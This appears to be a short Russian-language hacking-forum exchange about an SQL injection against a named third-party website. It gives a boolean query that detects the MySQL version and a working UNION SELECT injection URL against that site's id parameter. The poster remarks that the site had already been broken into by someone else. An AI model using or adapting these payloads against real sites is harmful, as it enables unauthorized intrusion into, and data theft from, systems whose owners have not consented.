Сообщение от
Redwood
Redwood said:
Какая версия, каким запросом у тебя получилось ее определить и что ты увидел на странице ?
http://www.site.ru/index.php?id=106 and substring(@@version,1,1)=5
без ошибок - следовательно 5 версия.
R1dex мне подсобил уже с этой скулей,
вот такой запрос работает
24 and 1=0 union select 1,2,3,4,5,6,7,9,null,10
Собственно вот:
http://www.mibf.ru/index.php?id=24 and 1 =0 union select 1,2,3,4,5,6,7,9,0x3a,10-- 1
сейчас проверил, оказалось его уже вскрыли раньше меня